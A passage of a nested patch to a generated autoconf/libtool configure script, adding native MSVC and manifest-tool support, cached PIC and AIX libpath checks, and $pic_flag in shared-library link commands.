-+ cat conftest.err >&5
-+ if $GREP 'Manifest Tool' conftest.out > /dev/null; then
-+ lt_cv_path_mainfest_tool=yes
-+ fi
-+ rm -f conftest*
-+fi
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_path_mainfest_tool" >&5
-+$as_echo "$lt_cv_path_mainfest_tool" >&6; }
-+if test "x$lt_cv_path_mainfest_tool" != xyes; then
-+ MANIFEST_TOOL=:
-+fi
-+
-+
-+
-+
-+
-
- case $host_os in
- rhapsody* | darwin*)
-@@ -7797,6 +8294,8 @@ _LT_EOF
- $LTCC $LTCFLAGS -c -o conftest.o conftest.c 2>&5
- echo "$AR cru libconftest.a conftest.o" >&5
- $AR cru libconftest.a conftest.o 2>&5
-+ echo "$RANLIB libconftest.a" >&5
-+ $RANLIB libconftest.a 2>&5
- cat > conftest.c << _LT_EOF
- int main() { return 0;}
- _LT_EOF
-@@ -7992,7 +8491,8 @@ fi
- LIBTOOL_DEPS="$ltmain"
-
- # Always use our own libtool.
--LIBTOOL='$(SHELL) $(top_builddir)/libtool'
-+LIBTOOL='$(SHELL) $(top_builddir)'
-+LIBTOOL="$LIBTOOL/${host_alias}-libtool"
-
-
-
-@@ -8081,7 +8581,7 @@ aix3*)
- esac
-
- # Global variables:
--ofile=libtool
-+ofile=${host_alias}-libtool
- can_build_shared=yes
-
- # All known linkers require a `.a' archive for static linking (except MSVC,
-@@ -8379,8 +8879,6 @@ fi
- lt_prog_compiler_pic=
- lt_prog_compiler_static=
-
--{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $compiler option to produce PIC" >&5
--$as_echo_n "checking for $compiler option to produce PIC... " >&6; }
-
- if test "$GCC" = yes; then
- lt_prog_compiler_wl='-Wl,'
-@@ -8546,6 +9044,12 @@ $as_echo_n "checking for $compiler option to produce PIC... " >&6; }
- lt_prog_compiler_pic='--shared'
- lt_prog_compiler_static='--static'
- ;;
-+ nagfor*)
-+ # NAG Fortran compiler
-+ lt_prog_compiler_wl='-Wl,-Wl,,'
-+ lt_prog_compiler_pic='-PIC'
-+ lt_prog_compiler_static='-Bstatic'
-+ ;;
- pgcc* | pgf77* | pgf90* | pgf95* | pgfortran*)
- # Portland Group compilers (*not* the Pentium gcc compiler,
- # which looks to be a dead project)
-@@ -8608,7 +9112,7 @@ $as_echo_n "checking for $compiler option to produce PIC... " >&6; }
- lt_prog_compiler_pic='-KPIC'
- lt_prog_compiler_static='-Bstatic'
- case $cc_basename in
-- f77* | f90* | f95*)
-+ f77* | f90* | f95* | sunf77* | sunf90* | sunf95*)
- lt_prog_compiler_wl='-Qoption ld ';;
- *)
- lt_prog_compiler_wl='-Wl,';;
-@@ -8665,13 +9169,17 @@ case $host_os in
- lt_prog_compiler_pic="$lt_prog_compiler_pic -DPIC"
- ;;
- esac
--{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_prog_compiler_pic" >&5
--$as_echo "$lt_prog_compiler_pic" >&6; }
--
--
--
--
-
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $compiler option to produce PIC" >&5
-+$as_echo_n "checking for $compiler option to produce PIC... " >&6; }
-+if ${lt_cv_prog_compiler_pic+:} false; then :
-+ $as_echo_n "(cached) " >&6
-+else
-+ lt_cv_prog_compiler_pic=$lt_prog_compiler_pic
-+fi
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_prog_compiler_pic" >&5
-+$as_echo "$lt_cv_prog_compiler_pic" >&6; }
-+lt_prog_compiler_pic=$lt_cv_prog_compiler_pic
-
- #
- # Check to make sure the PIC flag actually works.
-@@ -8732,6 +9240,11 @@ fi
-
-
-
-+
-+
-+
-+
-+
- #
- # Check to make sure the static flag actually works.
- #
-@@ -9082,7 +9595,8 @@ _LT_EOF
- allow_undefined_flag=unsupported
- always_export_symbols=no
- enable_shared_with_static_runtimes=yes
-- export_symbols_cmds='$NM $libobjs $convenience | $global_symbol_pipe | $SED -e '\''/^[BCDGRS][ ]/s/.*[ ]\([^ ]*\)/\1 DATA/'\'' | $SED -e '\''/^[AITW][ ]/s/.*[ ]//'\'' | sort | uniq > $export_symbols'
-+ export_symbols_cmds='$NM $libobjs $convenience | $global_symbol_pipe | $SED -e '\''/^[BCDGRS][ ]/s/.*[ ]\([^ ]*\)/\1 DATA/;s/^.*[ ]__nm__\([^ ]*\)[ ][^ ]*/\1 DATA/;/^I[ ]/d;/^[AITW][ ]/s/.* //'\'' | sort | uniq > $export_symbols'
-+ exclude_expsyms='[_]+GLOBAL_OFFSET_TABLE_|[_]+GLOBAL__[FID]_.*|[_]+head_[A-Za-z0-9_]+_dll|[A-Za-z0-9_]+_dll_iname'
-
- if $LD --help 2>&1 | $GREP 'auto-import' > /dev/null; then
- archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags -o $output_objdir/$soname ${wl}--enable-auto-image-base -Xlinker --out-implib -Xlinker $lib'
-@@ -9181,12 +9695,12 @@ _LT_EOF
- whole_archive_flag_spec='--whole-archive$convenience --no-whole-archive'
- hardcode_libdir_flag_spec=
- hardcode_libdir_flag_spec_ld='-rpath $libdir'
-- archive_cmds='$LD -shared $libobjs $deplibs $compiler_flags -soname $soname -o $lib'
-+ archive_cmds='$LD -shared $libobjs $deplibs $linker_flags -soname $soname -o $lib'
- if test "x$supports_anon_versioning" = xyes; then
- archive_expsym_cmds='echo "{ global:" > $output_objdir/$libname.ver~
- cat $export_symbols | sed -e "s/\(.*\)/\1;/" >> $output_objdir/$libname.ver~
- echo "local: *; };" >> $output_objdir/$libname.ver~
-- $LD -shared $libobjs $deplibs $compiler_flags -soname $soname -version-script $output_objdir/$libname.ver -o $lib'
-+ $LD -shared $libobjs $deplibs $linker_flags -soname $soname -version-script $output_objdir/$libname.ver -o $lib'
- fi
- ;;
- esac
-@@ -9200,8 +9714,8 @@ _LT_EOF
- archive_cmds='$LD -Bshareable $libobjs $deplibs $linker_flags -o $lib'
- wlarc=
- else
-- archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
-- archive_expsym_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
-+ archive_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
-+ archive_expsym_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
- fi
- ;;
-
-@@ -9219,8 +9733,8 @@ _LT_EOF
-
- _LT_EOF
- elif $LD --help 2>&1 | $GREP ': supported targets:.* elf' > /dev/null; then
-- archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
-- archive_expsym_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
-+ archive_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
-+ archive_expsym_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
- else
- ld_shlibs=no
- fi
-@@ -9266,8 +9780,8 @@ _LT_EOF
-
- *)
- if $LD --help 2>&1 | $GREP ': supported targets:.* elf' > /dev/null; then
-- archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
-- archive_expsym_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
-+ archive_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
-+ archive_expsym_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
- else
- ld_shlibs=no
- fi
-@@ -9397,7 +9911,13 @@ _LT_EOF
- allow_undefined_flag='-berok'
- # Determine the default libpath from the value encoded in an
- # empty executable.
-- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-+ if test "${lt_cv_aix_libpath+set}" = set; then
-+ aix_libpath=$lt_cv_aix_libpath
-+else
-+ if ${lt_cv_aix_libpath_+:} false; then :
-+ $as_echo_n "(cached) " >&6
-+else
-+ cat confdefs.h - <<_ACEOF >conftest.$ac_ext
- /* end confdefs.h. */
-
- int
-@@ -9410,22 +9930,29 @@ main ()
- _ACEOF
- if ac_fn_c_try_link "$LINENO"; then :
-
--lt_aix_libpath_sed='
-- /Import File Strings/,/^$/ {
-- /^0/ {
-- s/^0 *\(.*\)$/\1/
-- p
-- }
-- }'
--aix_libpath=`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
--# Check for a 64-bit object if we didn't find anything.
--if test -z "$aix_libpath"; then
-- aix_libpath=`dump -HX64 conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
--fi
-+ lt_aix_libpath_sed='
-+ /Import File Strings/,/^$/ {
-+ /^0/ {
-+ s/^0 *\([^ ]*\) *$/\1/
-+ p
-+ }
-+ }'
-+ lt_cv_aix_libpath_=`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
-+ # Check for a 64-bit object if we didn't find anything.
-+ if test -z "$lt_cv_aix_libpath_"; then
-+ lt_cv_aix_libpath_=`dump -HX64 conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
-+ fi
- fi
- rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
--if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
-+ if test -z "$lt_cv_aix_libpath_"; then
-+ lt_cv_aix_libpath_="/usr/lib:/lib"
-+ fi
-+
-+fi
-+
-+ aix_libpath=$lt_cv_aix_libpath_
-+fi
-
- hardcode_libdir_flag_spec='${wl}-blibpath:$libdir:'"$aix_libpath"
- archive_expsym_cmds='$CC -o $output_objdir/$soname $libobjs $deplibs '"\${wl}$no_entry_flag"' $compiler_flags `if test "x${allow_undefined_flag}" != "x"; then func_echo_all "${wl}${allow_undefined_flag}"; else :; fi` '"\${wl}$exp_sym_flag:\$export_symbols $shared_flag"
-@@ -9437,7 +9964,13 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
- else
- # Determine the default libpath from the value encoded in an
- # empty executable.
-- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-+ if test "${lt_cv_aix_libpath+set}" = set; then
-+ aix_libpath=$lt_cv_aix_libpath
-+else
-+ if ${lt_cv_aix_libpath_+:} false; then :
-+ $as_echo_n "(cached) " >&6
-+else
-+ cat confdefs.h - <<_ACEOF >conftest.$ac_ext
- /* end confdefs.h. */
-
- int
-@@ -9450,22 +9983,29 @@ main ()
- _ACEOF
- if ac_fn_c_try_link "$LINENO"; then :
-
--lt_aix_libpath_sed='
-- /Import File Strings/,/^$/ {
-- /^0/ {
-- s/^0 *\(.*\)$/\1/
-- p
-- }
-- }'
--aix_libpath=`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
--# Check for a 64-bit object if we didn't find anything.
--if test -z "$aix_libpath"; then
-- aix_libpath=`dump -HX64 conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
--fi
-+ lt_aix_libpath_sed='
-+ /Import File Strings/,/^$/ {
-+ /^0/ {
-+ s/^0 *\([^ ]*\) *$/\1/
-+ p
-+ }
-+ }'
-+ lt_cv_aix_libpath_=`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
-+ # Check for a 64-bit object if we didn't find anything.
-+ if test -z "$lt_cv_aix_libpath_"; then
-+ lt_cv_aix_libpath_=`dump -HX64 conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
-+ fi
- fi
- rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
--if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
-+ if test -z "$lt_cv_aix_libpath_"; then
-+ lt_cv_aix_libpath_="/usr/lib:/lib"
-+ fi
-+
-+fi
-+
-+ aix_libpath=$lt_cv_aix_libpath_
-+fi
-
- hardcode_libdir_flag_spec='${wl}-blibpath:$libdir:'"$aix_libpath"
- # Warning - without using the other run time loading flags,
-@@ -9510,20 +10050,63 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
- # Microsoft Visual C++.
- # hardcode_libdir_flag_spec is actually meaningless, as there is
- # no search path for DLLs.
-- hardcode_libdir_flag_spec=' '
-- allow_undefined_flag=unsupported
-- # Tell ltmain to make .lib files, not .a files.
-- libext=lib
-- # Tell ltmain to make .dll files, not .so files.
-- shrext_cmds=".dll"
-- # FIXME: Setting linknames here is a bad hack.
-- archive_cmds='$CC -o $lib $libobjs $compiler_flags `func_echo_all "$deplibs" | $SED '\''s/ -lc$//'\''` -link -dll~linknames='
-- # The linker will automatically build a .lib file if we build a DLL.
-- old_archive_from_new_cmds='true'
-- # FIXME: Should let the user specify the lib program.
-- old_archive_cmds='lib -OUT:$oldlib$oldobjs$old_deplibs'
-- fix_srcfile_path='`cygpath -w "$srcfile"`'
-- enable_shared_with_static_runtimes=yes
-+ case $cc_basename in
-+ cl*)
-+ # Native MSVC
-+ hardcode_libdir_flag_spec=' '
-+ allow_undefined_flag=unsupported
-+ always_export_symbols=yes
-+ file_list_spec='@'
-+ # Tell ltmain to make .lib files, not .a files.
-+ libext=lib
-+ # Tell ltmain to make .dll files, not .so files.
-+ shrext_cmds=".dll"
-+ # FIXME: Setting linknames here is a bad hack.
-+ archive_cmds='$CC -o $output_objdir/$soname $libobjs $compiler_flags $deplibs -Wl,-dll~linknames='
-+ archive_expsym_cmds='if test "x`$SED 1q $export_symbols`" = xEXPORTS; then
-+ sed -n -e 's/\\\\\\\(.*\\\\\\\)/-link\\\ -EXPORT:\\\\\\\1/' -e '1\\\!p' < $export_symbols > $output_objdir/$soname.exp;
-+ else
-+ sed -e 's/\\\\\\\(.*\\\\\\\)/-link\\\ -EXPORT:\\\\\\\1/' < $export_symbols > $output_objdir/$soname.exp;
-+ fi~
-+ $CC -o $tool_output_objdir$soname $libobjs $compiler_flags $deplibs "@$tool_output_objdir$soname.exp" -Wl,-DLL,-IMPLIB:"$tool_output_objdir$libname.dll.lib"~
-+ linknames='
-+ # The linker will not automatically build a static lib if we build a DLL.
-+ # _LT_TAGVAR(old_archive_from_new_cmds, )='true'
-+ enable_shared_with_static_runtimes=yes
-+ export_symbols_cmds='$NM $libobjs $convenience | $global_symbol_pipe | $SED -e '\''/^[BCDGRS][ ]/s/.*[ ]\([^ ]*\)/\1,DATA/'\'' | $SED -e '\''/^[AITW][ ]/s/.*[ ]//'\'' | sort | uniq > $export_symbols'
-+ # Don't use ranlib
-+ old_postinstall_cmds='chmod 644 $oldlib'
-+ postlink_cmds='lt_outputfile="@OUTPUT@"~
-+ lt_tool_outputfile="@TOOL_OUTPUT@"~
-+ case $lt_outputfile in
-+ *.exe|*.EXE) ;;
-+ *)
-+ lt_outputfile="$lt_outputfile.exe"
-+ lt_tool_outputfile="$lt_tool_outputfile.exe"
-+ ;;
-+ esac~
-+ if test "$MANIFEST_TOOL" != ":" && test -f "$lt_outputfile.manifest"; then
-+ $MANIFEST_TOOL -manifest "$lt_tool_outputfile.manifest" -outputresource:"$lt_tool_outputfile" || exit 1;
-+ $RM "$lt_outputfile.manifest";
-+ fi'
-+ ;;
-+ *)
-+ # Assume MSVC wrapper
-+ hardcode_libdir_flag_spec=' '
-+ allow_undefined_flag=unsupported
-+ # Tell ltmain to make .lib files, not .a files.
-+ libext=lib
-+ # Tell ltmain to make .dll files, not .so files.
-+ shrext_cmds=".dll"
-+ # FIXME: Setting linknames here is a bad hack.
-+ archive_cmds='$CC -o $lib $libobjs $compiler_flags `func_echo_all "$deplibs" | $SED '\''s/ -lc$//'\''` -link -dll~linknames='
-+ # The linker will automatically build a .lib file if we build a DLL.
-+ old_archive_from_new_cmds='true'
-+ # FIXME: Should let the user specify the lib program.
-+ old_archive_cmds='lib -OUT:$oldlib$oldobjs$old_deplibs'
-+ enable_shared_with_static_runtimes=yes
-+ ;;
-+ esac
- ;;
-
- darwin* | rhapsody*)
-@@ -9584,7 +10167,7 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
-
- # FreeBSD 3 and greater uses gcc -shared to do shared libraries.
- freebsd* | dragonfly*)
-- archive_cmds='$CC -shared -o $lib $libobjs $deplibs $compiler_flags'
-+ archive_cmds='$CC -shared $pic_flag -o $lib $libobjs $deplibs $compiler_flags'
- hardcode_libdir_flag_spec='-R$libdir'
- hardcode_direct=yes
- hardcode_shlibpath_var=no
-@@ -9592,7 +10175,7 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
-
- hpux9*)
- if test "$GCC" = yes; then
-- archive_cmds='$RM $output_objdir/$soname~$CC -shared -fPIC ${wl}+b ${wl}$install_libdir -o $output_objdir/$soname $libobjs $deplibs $compiler_flags~test $output_objdir/$soname = $lib || mv $output_objdir/$soname $lib'
-+ archive_cmds='$RM $output_objdir/$soname~$CC -shared $pic_flag ${wl}+b ${wl}$install_libdir -o $output_objdir/$soname $libobjs $deplibs $compiler_flags~test $output_objdir/$soname = $lib || mv $output_objdir/$soname $lib'
- else
- archive_cmds='$RM $output_objdir/$soname~$LD -b +b $install_libdir -o $output_objdir/$soname $libobjs $deplibs $linker_flags~test $output_objdir/$soname = $lib || mv $output_objdir/$soname $lib'
- fi
-@@ -9608,7 +10191,7 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
-
- hpux10*)
- if test "$GCC" = yes && test "$with_gnu_ld" = no; then
-- archive_cmds='$CC -shared -fPIC ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $libobjs $deplibs $compiler_flags'
-+ archive_cmds='$CC -shared $pic_flag ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $libobjs $deplibs $compiler_flags'
- else
- archive_cmds='$LD -b +h $soname +b $install_libdir -o $lib $libobjs $deplibs $linker_flags'
- fi
-@@ -9632,10 +10215,10 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
- archive_cmds='$CC -shared ${wl}+h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags'
- ;;
- ia64*)
-- archive_cmds='$CC -shared -fPIC ${wl}+h ${wl}$soname ${wl}+nodefaultrpath -o $lib $libobjs $deplibs $compiler_flags'
-+ archive_cmds='$CC -shared $pic_flag ${wl}+h ${wl}$soname ${wl}+nodefaultrpath -o $lib $libobjs $deplibs $compiler_flags'
- ;;
- *)
-- archive_cmds='$CC -shared -fPIC ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $libobjs $deplibs $compiler_flags'
-+ archive_cmds='$CC -shared $pic_flag ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $libobjs $deplibs $compiler_flags'
- ;;
- esac
- else
-@@ -9714,23 +10297,36 @@ fi
-
- irix5* | irix6* | nonstopux*)
- if test "$GCC" = yes; then
-- archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
-+ archive_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
- # Try to use the -exported_symbol ld option, if it does not
- # work, assume that -exports_file does not work either and
- # implicitly export all symbols.
-- save_LDFLAGS="$LDFLAGS"
-- LDFLAGS="$LDFLAGS -shared ${wl}-exported_symbol ${wl}foo ${wl}-update_registry ${wl}/dev/null"
-- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-+ # This should be the same for all languages, so no per-tag cache variable.
-+ { $as_echo "$as_me:${as_lineno-$LINENO}: checking whether the $host_os linker accepts -exported_symbol" >&5
-+$as_echo_n "checking whether the $host_os linker accepts -exported_symbol... " >&6; }
-+if ${lt_cv_irix_exported_symbol+:} false; then :
-+ $as_echo_n "(cached) " >&6
-+else
-+ save_LDFLAGS="$LDFLAGS"
-+ LDFLAGS="$LDFLAGS -shared ${wl}-exported_symbol ${wl}foo ${wl}-update_registry ${wl}/dev/null"
-+ cat confdefs.h - <<_ACEOF >conftest.$ac_ext
- /* end confdefs.h. */
--int foo(void) {}
-+int foo (void) { return 0; }
- _ACEOF
- if ac_fn_c_try_link "$LINENO"; then :
-- archive_expsym_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations ${wl}-exports_file ${wl}$export_symbols -o $lib'
--
-+ lt_cv_irix_exported_symbol=yes
-+else
-+ lt_cv_irix_exported_symbol=no
- fi
- rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
-- LDFLAGS="$save_LDFLAGS"
-+ LDFLAGS="$save_LDFLAGS"
-+fi
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_irix_exported_symbol" >&5
-+$as_echo "$lt_cv_irix_exported_symbol" >&6; }
-+ if test "$lt_cv_irix_exported_symbol" = yes; then
-+ archive_expsym_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations ${wl}-exports_file ${wl}$export_symbols -o $lib'
-+ fi
- else
- archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags -soname $soname `test -n "$verstring" && func_echo_all "-set_version $verstring"` -update_registry ${output_objdir}/so_locations -o $lib'
- archive_expsym_cmds='$CC -shared $libobjs $deplibs $compiler_flags -soname $soname `test -n "$verstring" && func_echo_all "-set_version $verstring"` -update_registry ${output_objdir}/so_locations -exports_file $export_symbols -o $lib'
-@@ -9815,7 +10411,7 @@ rm -f core conftest.err conftest.$ac_objext \
- osf4* | osf5*) # as osf3* with the addition of -msym flag
- if test "$GCC" = yes; then
- allow_undefined_flag=' ${wl}-expect_unresolved ${wl}\*'
-- archive_cmds='$CC -shared${allow_undefined_flag} $libobjs $deplibs $compiler_flags ${wl}-msym ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
-+ archive_cmds='$CC -shared${allow_undefined_flag} $pic_flag $libobjs $deplibs $compiler_flags ${wl}-msym ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
- hardcode_libdir_flag_spec='${wl}-rpath ${wl}$libdir'
- else
- allow_undefined_flag=' -expect_unresolved \*'
-@@ -9834,9 +10430,9 @@ rm -f core conftest.err conftest.$ac_objext \
- no_undefined_flag=' -z defs'
- if test "$GCC" = yes; then
- wlarc='${wl}'
-- archive_cmds='$CC -shared ${wl}-z ${wl}text ${wl}-h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags'
-+ archive_cmds='$CC -shared $pic_flag ${wl}-z ${wl}text ${wl}-h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags'
- archive_expsym_cmds='echo "{ global:" > $lib.exp~cat $export_symbols | $SED -e "s/\(.*\)/\1;/" >> $lib.exp~echo "local: *; };" >> $lib.exp~
-- $CC -shared ${wl}-z ${wl}text ${wl}-M ${wl}$lib.exp ${wl}-h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags~$RM $lib.exp'
-+ $CC -shared $pic_flag ${wl}-z ${wl}text ${wl}-M ${wl}$lib.exp ${wl}-h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags~$RM $lib.exp'
- else
- case `$CC -V 2>&1` in
- *"Compilers 5.0"*)
-@@ -10412,8 +11008,9 @@ cygwin* | mingw* | pw32* | cegcc*)
- need_version=no
- need_lib_prefix=no
-
-- case $GCC,$host_os in
-- yes,cygwin* | yes,mingw* | yes,pw32* | yes,cegcc*)
-+ case $GCC,$cc_basename in
-+ yes,*)
-+ # gcc
- library_names_spec='$libname.dll.a'
- # DLL is installed to $(libdir)/../bin by postinstall_cmds
- postinstall_cmds='base_file=`basename \${file}`~
-@@ -10446,13 +11043,71 @@ cygwin* | mingw* | pw32* | cegcc*)
- library_names_spec='`echo ${libname} | sed -e 's/^lib/pw/'``echo ${release} | $SED -e 's/[.]/-/g'`${versuffix}${shared_ext}'
- ;;
- esac
-+ dynamic_linker='Win32 ld.exe'
-+ ;;
-+
-+ *,cl*)
-+ # Native MSVC
-+ libname_spec='$name'
-+ soname_spec='${libname}`echo ${release} | $SED -e 's/[.]/-/g'`${versuffix}${shared_ext}'
-+ library_names_spec='${libname}.dll.lib'
-+
-+ case $build_os in
-+ mingw*)
-+ sys_lib_search_path_spec=
-+ lt_save_ifs=$IFS
-+ IFS=';'
-+ for lt_path in $LIB
-+ do
-+ IFS=$lt_save_ifs
-+ # Let DOS variable expansion print the short 8.3 style file name.
-+ lt_path=`cd "$lt_path" 2>/dev/null && cmd //C "for %i in (".") do @echo %~si"`
-+ sys_lib_search_path_spec="$sys_lib_search_path_spec $lt_path"
-+ done
-+ IFS=$lt_save_ifs
-+ # Convert to MSYS style.
-+ sys_lib_search_path_spec=`$ECHO "$sys_lib_search_path_spec" | sed -e 's|\\\\|/|g' -e 's| \\([a-zA-Z]\\):| /\\1|g' -e 's|^ ||'`
-+ ;;
-+ cygwin*)
-+ # Convert to unix form, then to dos form, then back to unix form
-+ # but this time dos style (no spaces!) so that the unix form looks
-+ # like /cygdrive/c/PROGRA~1:/cygdr...
-+ sys_lib_search_path_spec=`cygpath --path --unix "$LIB"`
-+ sys_lib_search_path_spec=`cygpath --path --dos "$sys_lib_search_path_spec" 2>/dev/null`
-+ sys_lib_search_path_spec=`cygpath --path --unix "$sys_lib_search_path_spec" | $SED -e "s/$PATH_SEPARATOR/ /g"`
-+ ;;
-+ *)
-+ sys_lib_search_path_spec="$LIB"
-+ if $ECHO "$sys_lib_search_path_spec" | $GREP ';[c-zC-Z]:/' >/dev/null; then
-+ # It is most probably a Windows format PATH.
-+ sys_lib_search_path_spec=`$ECHO "$sys_lib_search_path_spec" | $SED -e 's/;/ /g'`
-+ else
-+ sys_lib_search_path_spec=`$ECHO "$sys_lib_search_path_spec" | $SED -e "s/$PATH_SEPARATOR/ /g"`
-+ fi
-+ # FIXME: find the short name or the path components, as spaces are
-+ # common. (e.g. "Program Files" -> "PROGRA~1")
-+ ;;
-+ esac
-+
-+ # DLL is installed to $(libdir)/../bin by postinstall_cmds
-+ postinstall_cmds='base_file=`basename \${file}`~
-+ dlpath=`$SHELL 2>&1 -c '\''. $dir/'\''\${base_file}'\''i; echo \$dlname'\''`~
-+ dldir=$destdir/`dirname \$dlpath`~
-+ test -d \$dldir || mkdir -p \$dldir~
-+ $install_prog $dir/$dlname \$dldir/$dlname'
-+ postuninstall_cmds='dldll=`$SHELL 2>&1 -c '\''. $file; echo \$dlname'\''`~
-+ dlpath=$dir/\$dldll~
-+ $RM \$dlpath'
-+ shlibpath_overrides_runpath=yes
-+ dynamic_linker='Win32 link.exe'
- ;;
-
- *)
-+ # Assume MSVC wrapper
- library_names_spec='${libname}`echo ${release} | $SED -e 's/[.]/-/g'`${versuffix}${shared_ext} $libname.lib'
-+ dynamic_linker='Win32 ld.exe'
- ;;
- esac
-- dynamic_linker='Win32 ld.exe'
- # FIXME: first we should search . and the directory the executable is in
- shlibpath_var=PATH
- ;;
-@@ -10544,7 +11199,7 @@ haiku*)
- soname_spec='${libname}${release}${shared_ext}$major'
- shlibpath_var=LIBRARY_PATH
- shlibpath_overrides_runpath=yes
-- sys_lib_dlsearch_path_spec='/boot/home/config/lib /boot/common/lib /boot/beos/system/lib'
-+ sys_lib_dlsearch_path_spec='/boot/home/config/lib /boot/common/lib /boot/system/lib'
- hardcode_into_libs=yes
- ;;
-
-@@ -11340,7 +11995,7 @@ else
- lt_dlunknown=0; lt_dlno_uscore=1; lt_dlneed_uscore=2
- lt_status=$lt_dlunknown
- cat > conftest.$ac_ext <<_LT_EOF
--#line 11343 "configure"
-+#line $LINENO "configure"
- #include "confdefs.h"
-
- #if HAVE_DLFCN_H
-@@ -11384,10 +12039,10 @@ else
- /* When -fvisbility=hidden is used, assume the code has been annotated
- correspondingly for the symbols needed. */
- #if defined(__GNUC__) && (((__GNUC__ == 3) && (__GNUC_MINOR__ >= 3)) || (__GNUC__ > 3))
--void fnord () __attribute__((visibility("default")));
-+int fnord () __attribute__((visibility("default")));
- #endif
-
--void fnord () { int i=42; }
-+int fnord () { return 42; }
- int main ()
- {
- void *self = dlopen (0, LT_DLGLOBAL|LT_DLLAZY_OR_NOW);
-@@ -11446,7 +12101,7 @@ else
- lt_dlunknown=0; lt_dlno_uscore=1; lt_dlneed_uscore=2
- lt_status=$lt_dlunknown
- cat > conftest.$ac_ext <<_LT_EOF
--#line 11449 "configure"
-+#line $LINENO "configure"
- #include "confdefs.h"
-
- #if HAVE_DLFCN_H
-@@ -11490,10 +12145,10 @@ else
